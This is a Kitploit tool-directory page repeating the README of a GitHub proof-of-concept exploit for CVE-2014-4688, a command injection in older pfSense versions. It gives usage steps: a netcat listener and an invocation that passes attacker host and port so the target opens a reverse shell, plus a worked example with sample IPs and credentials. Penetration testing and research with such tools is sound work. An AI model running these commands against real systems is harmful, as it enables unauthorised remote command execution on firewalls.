Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2014-4688-pfsense — Modified proof-of-concept exploit for CVE-2014-4688, a command injection vulnerability in pfSense status_rrd_graph_img.php, enabling authenticated remote code execution with SSL handling. | Kitploit
Tools/GitHubGitHub/jaydenblair/cve-2014-4688-pfsense
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubjaydenblair/cve-2014-4688-pfsense

CVE-2014-4688-pfsense

Modified proof-of-concept exploit for CVE-2014-4688, a command injection vulnerability in pfSense status_rrd_graph_img.php, enabling authenticated remote code execution with SSL handling.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2014-4688 – pfSense Command Injection

Modified Exploit-DB proof-of-concept for CVE-2014-4688 (pfSense status_rrd_graph_img.php command injection)

Overview

This repository contains a modified version of the original Exploit-DB proof-of-concept for CVE-2014-4688, affecting pfSense versions ≤ 2.1.3.

The vulnerability exists within the status_rrd_graph_img.php component and allows authenticated users to execute arbitrary system commands due to improper input sanitisation of the database parameter.

  • Original exploit author: absolomb
  • Original source: Exploit-DB

Vulnerability Summary

  • CVE: CVE-2014-4688
  • Affected Versions: pfSense ≤ 2.1.3
  • Component: status_rrd_graph_img.php
  • Impact: Authenticated command execution

An authenticated user can inject arbitrary shell commands via crafted input supplied to the vulnerable endpoint.

Modifications

  • Added session-scoped SSL handling for self-signed certificate environments
  • Suppressed urllib3 insecure request warnings

Usage

Start a listener:

root@kitploit:~
nc -lvnp <LPORT>

Proof of Concept:

root@kitploit:~
python3 cve-2014-4688.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> --lport <PORT> --username <USERNAME> --password <PASSWORD>

Example

root@kitploit:~
python3 cve-2014-4688.py --rhost 10.129.7.193 --lhost 10.10.15.12 --lport 443 --username Joebloggs --password Password

Disclaimer

This repository is provided for authorised security research, education, and controlled testing purposes only. Unauthorised use against systems without explicit permission is illegal and unethical.

Download Tool